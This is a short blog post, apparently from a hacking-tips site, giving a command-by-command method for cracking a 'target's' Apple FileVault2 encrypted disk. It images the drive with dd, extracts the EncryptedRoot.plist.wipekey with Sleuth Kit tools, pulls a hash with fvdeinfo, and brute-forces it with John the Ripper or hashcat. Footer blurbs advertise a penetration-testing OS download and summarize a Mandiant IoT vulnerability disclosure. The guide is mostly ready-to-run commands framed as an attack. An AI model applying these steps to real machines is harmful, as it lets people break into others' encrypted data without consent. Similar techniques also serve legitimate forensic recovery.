Skip to main content

How To Crack Apple FileVault2 Encryption

STEP 1: Use dd to extract image of your targets FileVault2 encrypted disk:


sudo dd if=/dev/disk2 of=/path/to/filevault_image.dd


conv = noerr, sync


STEP 2: Install fvde2john from Here


 (https://github.com/kholia/fvde2john)STEP 3: Use hdiutil to attach to dd image:


hdiutil attach -imagekey diskimage-class=CRawDiskImage -nomount /Volumes/path/to/filevault_image.dd


STEP 4: Obtain the EncryptedRoot.plist.wipekey from "Recovery HD" partition

https://github.com/libyal/libfvde/wiki/Mounting#obtaining-encryptedrootplistwipekey


mmls /Volumes/path/to/filevault_image.dd


fls -r -o 50450752 /Volumes/path/to/filevault_image.dd | grep -i EncryptedRoot


icat -o 50450752 image.raw 130 > EncryptedRoot.plist.wipekey


STEP 5: Verify and note the disk mount point for Apple_Corestorage:


diskutil list


.../dev/disk3s2 Apple_Corestorage


STEP 6: Use EncryptedRoot.plist.wipekey with fvdeinfo to retrieve the hash:


sudo fvdetools/fvdeinfo -e EncryptedRoot.plist.wipekey -p blablah /dev/disk3s2


Will return hash


FINAL STEP: Load this hash into JTR or Hashcat to crack it:


john --format=FVDE-opencl --wordlist=dict.txt hash.txt


hashcat -a 0 -m 16700 hash.txt dict.txt


🔺Share And Support Us🔻


Comments

Post a Comment

Popular posts from this blog

What is BLACK WINDOWS 10 V2 windows based penetration testing os,and what are its features.Download link inside

                         Black Windows 10 V2
Post a Comment
Load more »

Mandiant Discloses Critical Vulnerability Affecting Millions of IoT Devices

Today, Mandiant disclosed a critical risk vulnerability in coordination with the Cybersecurity and Infrastructure Security Agency (“CISA”) that affects millions of IoT devices that use the ThroughTek “Kalay” network. This vulnerability, discovered by researchers on Mandiant’s Red Team in late 2020, would enable adversaries to remotely compromise victim IoT devices, resulting in the ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality. These further attacks could include actions that would allow an adversary to remotely control affected devices. At the time of writing this blog post, ThroughTek advertises having more than 83 million active devices and over 1.1 billion monthly connections on their platform. ThroughTek’s clients include IoT camera manufacturers, smart baby monitors, and Digital Video Recorder (“DVR”) products. Unlike the vulnerability published by researchers from Nozomi Ne...
Post a Comment
Load more »